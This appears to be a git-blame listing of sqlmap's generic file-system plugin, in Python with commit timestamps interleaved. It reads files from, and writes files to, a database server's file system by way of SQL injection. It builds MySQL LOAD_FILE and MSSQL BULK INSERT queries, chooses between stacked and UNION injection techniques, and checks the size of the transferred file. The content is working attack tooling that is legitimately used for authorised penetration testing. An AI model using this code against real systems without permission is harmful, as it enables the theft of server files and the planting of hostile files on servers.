2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2010-05-29 14:10:28 +04:00
import codecs
2009-04-22 15:48:07 +04:00
import os
from lib . core . agent import agent
from lib . core . common import dataToOutFile
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2012-12-07 13:57:57 +04:00
from lib . core . common import decodeHexValue
2012-04-04 13:25:05 +04:00
from lib . core . common import isNumPosStrValue
2012-06-14 17:38:53 +04:00
from lib . core . common import isListLike
2010-12-18 18:57:47 +03:00
from lib . core . common import isTechniqueAvailable
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2010-03-27 02:23:25 +03:00
from lib . core . data import conf
2012-07-06 16:24:44 +04:00
from lib . core . data import kb
2009-04-22 15:48:07 +04:00
from lib . core . data import logger
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2012-04-04 13:25:05 +04:00
from lib . core . enums import CHARSET_TYPE
from lib . core . enums import EXPECTED
2010-12-18 18:57:47 +03:00
from lib . core . enums import PAYLOAD
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapUndefinedMethod
2009-04-22 15:48:07 +04:00
from lib . request import inject
2008-10-15 19:38:22 +04:00
class Filesystem :
"""
This class defines generic OS file system functionalities for plugins .
"""
2009-04-22 15:48:07 +04:00
def __init__ ( self ) :
self . fileTblName = " sqlmapfile "
2011-04-30 17:20:05 +04:00
self . tblField = " data "
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
def _checkFileLength ( self , localFile , remoteFile , fileRead = False ) :
2011-04-30 18:54:29 +04:00
if Backend . isDbms ( DBMS . MYSQL ) :
2012-12-18 21:49:18 +04:00
lengthQuery = " SELECT LENGTH(LOAD_FILE( ' %s ' )) " % remoteFile
2009-04-22 15:48:07 +04:00
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . PGSQL ) :
2012-12-18 21:49:18 +04:00
if fileRead :
lengthQuery = True
else :
lengthQuery = " SELECT LENGTH(data) FROM pg_largeobject WHERE loid= %d " % self . oid
2009-04-22 15:48:07 +04:00
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . MSSQL ) :
2010-01-02 05:02:12 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
2009-04-22 15:48:07 +04:00
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
2012-12-18 21:49:18 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . fileTblName , remoteFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
2009-04-22 15:48:07 +04:00
lengthQuery = " SELECT DATALENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName )
2012-12-18 21:49:18 +04:00
localFileSize = os . path . getsize ( localFile )
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
logger . debug ( " checking the length of the remote file %s " % remoteFile )
remoteFileSize = inject . getValue ( lengthQuery , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2012-04-25 11:40:42 +04:00
sameFile = None
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
if isNumPosStrValue ( remoteFileSize ) :
remoteFileSize = long ( remoteFileSize )
sameFile = False
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
if localFileSize == remoteFileSize :
2012-04-25 11:40:42 +04:00
sameFile = True
2012-12-18 21:49:18 +04:00
infoMsg = " the local file %s and the remote file " % localFile
infoMsg + = " %s have the same size " % remoteFile
elif remoteFileSize > localFileSize :
infoMsg = " the remote file %s is larger than " % remoteFile
infoMsg + = " the local file %s " % localFile
2009-04-22 15:48:07 +04:00
else :
infoMsg + = " , but the size differs from the local "
2012-12-18 21:49:18 +04:00
infoMsg + = " file ' %s ' ( %d bytes) " % ( localFile , localFileSize )
2009-04-22 15:48:07 +04:00
logger . info ( infoMsg )
else :
2012-04-25 11:40:42 +04:00
sameFile = False
2011-04-30 17:20:05 +04:00
warnMsg = " it looks like the file has not been written, this "
2009-04-22 15:48:07 +04:00
warnMsg + = " can occur if the DBMS process ' user has no write "
warnMsg + = " privileges in the destination path "
logger . warn ( warnMsg )
2012-04-25 11:40:42 +04:00
return sameFile
2009-04-22 15:48:07 +04:00
def fileToSqlQueries ( self , fcEncodedList ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
2011-04-30 17:20:05 +04:00
counter = 0
2009-04-22 15:48:07 +04:00
sqlQueries = [ ]
for fcEncodedLine in fcEncodedList :
if counter == 0 :
sqlQueries . append ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , fcEncodedLine ) )
else :
updatedField = agent . simpleConcatQuery ( self . tblField , fcEncodedLine )
sqlQueries . append ( " UPDATE %s SET %s = %s " % ( self . fileTblName , self . tblField , updatedField ) )
counter + = 1
return sqlQueries
def fileEncode ( self , fileName , encoding , single ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
2012-07-24 16:35:56 +04:00
retVal = [ ]
with codecs . open ( fileName , " rb " ) as f :
content = f . read ( ) . encode ( encoding ) . replace ( " \n " , " " )
2009-04-22 15:48:07 +04:00
2010-01-02 05:02:12 +03:00
if not single :
2012-07-24 16:35:56 +04:00
if len ( content ) > 256 :
for i in xrange ( 0 , len ( content ) , 256 ) :
_ = content [ i : i + 256 ]
2009-04-22 15:48:07 +04:00
if encoding == " hex " :
2012-07-24 16:35:56 +04:00
_ = " 0x %s " % _
elif encoding == " base64 " :
_ = " ' %s ' " % _
2009-04-22 15:48:07 +04:00
2012-07-24 16:35:56 +04:00
retVal . append ( _ )
2009-04-22 15:48:07 +04:00
2012-07-24 16:35:56 +04:00
if not retVal :
2009-04-22 15:48:07 +04:00
if encoding == " hex " :
2012-07-24 16:35:56 +04:00
content = " 0x %s " % content
2009-04-22 15:48:07 +04:00
elif encoding == " base64 " :
2012-07-24 16:35:56 +04:00
content = " ' %s ' " % content
2009-04-22 15:48:07 +04:00
2012-07-24 16:35:56 +04:00
retVal = [ content ]
2009-04-22 15:48:07 +04:00
2012-07-24 16:35:56 +04:00
return retVal
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
def askCheckWrittenFile ( self , localFile , remoteFile ) :
message = " do you want confirmation that the local file ' %s ' " % localFile
2010-01-02 05:02:12 +03:00
message + = " has been successfully written on the back-end DBMS "
2012-12-18 21:49:18 +04:00
message + = " file system ( %s )? [Y/n] " % remoteFile
output = readInput ( message , default = " Y " )
if not output or output in ( " y " , " Y " ) :
return self . _checkFileLength ( localFile , remoteFile )
return True
def askCheckReadFile ( self , localFile , remoteFile ) :
message = " do you want confirmation that the remote file ' %s ' " % remoteFile
message + = " has been successfully downloaded from the back-end "
message + = " DBMS file system? [Y/n] "
2011-04-30 17:20:05 +04:00
output = readInput ( message , default = " Y " )
2009-04-22 15:48:07 +04:00
if not output or output in ( " y " , " Y " ) :
2012-12-18 21:49:18 +04:00
return self . _checkFileLength ( localFile , remoteFile , True )
2012-04-25 11:40:42 +04:00
return True
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
def nonStackedReadFile ( self , remoteFile ) :
2012-07-06 18:13:50 +04:00
errMsg = " ' nonStackedReadFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUndefinedMethod , errMsg
2010-03-23 01:57:57 +03:00
2012-12-18 21:49:18 +04:00
def stackedReadFile ( self , remoteFile ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' stackedReadFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUndefinedMethod , errMsg
2010-03-23 01:57:57 +03:00
2012-12-18 21:49:18 +04:00
def unionWriteFile ( self , localFile , remoteFile , fileType ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' unionWriteFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUndefinedMethod , errMsg
2010-03-23 01:57:57 +03:00
2012-12-18 21:49:18 +04:00
def stackedWriteFile ( self , localFile , remoteFile , fileType ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' stackedWriteFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
2012-12-06 17:14:19 +04:00
raise SqlmapUndefinedMethod , errMsg
2010-03-23 01:57:57 +03:00
2012-12-18 21:55:21 +04:00
def readFile ( self , remoteFiles ) :
2009-04-22 15:48:07 +04:00
fileContent = None
2012-12-18 21:55:21 +04:00
remoteFilePaths = [ ]
2009-04-22 15:48:07 +04:00
self . checkDbmsOs ( )
2012-12-18 21:55:21 +04:00
for remoteFile in remoteFiles . split ( " , " ) :
kb . fileReadMode = True
2012-07-06 16:24:44 +04:00
2012-12-18 21:55:21 +04:00
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
debugMsg = " going to read the file with stacked query SQL "
debugMsg + = " injection technique "
logger . debug ( debugMsg )
fileContent = self . stackedReadFile ( remoteFile )
elif Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to read the file with a non-stacked query "
debugMsg + = " SQL injection technique "
2010-03-27 02:23:25 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
fileContent = self . nonStackedReadFile ( remoteFile )
else :
errMsg = " none of the SQL injection techniques detected can "
errMsg + = " be used to read files from the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
logger . error ( errMsg )
2012-07-06 18:13:50 +04:00
2012-12-18 21:55:21 +04:00
return None
2011-02-06 18:23:27 +03:00
2012-12-18 21:55:21 +04:00
kb . fileReadMode = False
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
if fileContent in ( None , " " ) and not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
2012-07-06 16:24:44 +04:00
2012-12-18 21:55:21 +04:00
return
elif isListLike ( fileContent ) :
newFileContent = " "
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
for chunk in fileContent :
if isListLike ( chunk ) :
if len ( chunk ) > 0 :
chunk = chunk [ 0 ]
else :
chunk = " "
2009-07-09 15:50:15 +04:00
2012-12-18 21:55:21 +04:00
if chunk :
newFileContent + = chunk
2009-07-09 15:50:15 +04:00
2012-12-18 21:55:21 +04:00
fileContent = newFileContent
2009-07-09 15:50:15 +04:00
2012-12-18 21:55:21 +04:00
fileContent = decodeHexValue ( fileContent )
remoteFilePath = dataToOutFile ( fileContent )
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
if not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
self . askCheckReadFile ( remoteFilePath , remoteFile )
2009-04-22 15:48:07 +04:00
2012-12-18 21:55:21 +04:00
remoteFilePaths . append ( remoteFilePath )
2012-12-18 21:49:18 +04:00
2012-12-18 21:55:21 +04:00
return remoteFilePaths
2009-04-22 15:48:07 +04:00
2012-12-18 21:49:18 +04:00
def writeFile ( self , localFile , remoteFile , fileType = None ) :
2009-04-22 15:48:07 +04:00
self . checkDbmsOs ( )
2010-12-18 18:57:47 +03:00
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
2011-04-30 17:20:05 +04:00
debugMsg = " going to upload the %s file with " % fileType
2010-03-27 02:23:25 +03:00
debugMsg + = " stacked query SQL injection technique "
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
2012-12-18 21:49:18 +04:00
self . stackedWriteFile ( localFile , remoteFile , fileType )
2010-03-27 02:23:25 +03:00
self . cleanup ( onlyFileTbl = True )
2011-02-06 18:23:27 +03:00
elif isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) and Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to upload the %s file with " % fileType
2010-03-27 02:23:25 +03:00
debugMsg + = " UNION query SQL injection technique "
2009-04-22 15:48:07 +04:00
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
2012-12-18 21:49:18 +04:00
self . unionWriteFile ( localFile , remoteFile , fileType )
2011-02-06 18:23:27 +03:00
else :
errMsg = " none of the SQL injection techniques detected can "
2011-02-06 18:28:23 +03:00
errMsg + = " be used to write files to the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
2011-02-06 18:23:27 +03:00
logger . error ( errMsg )
return None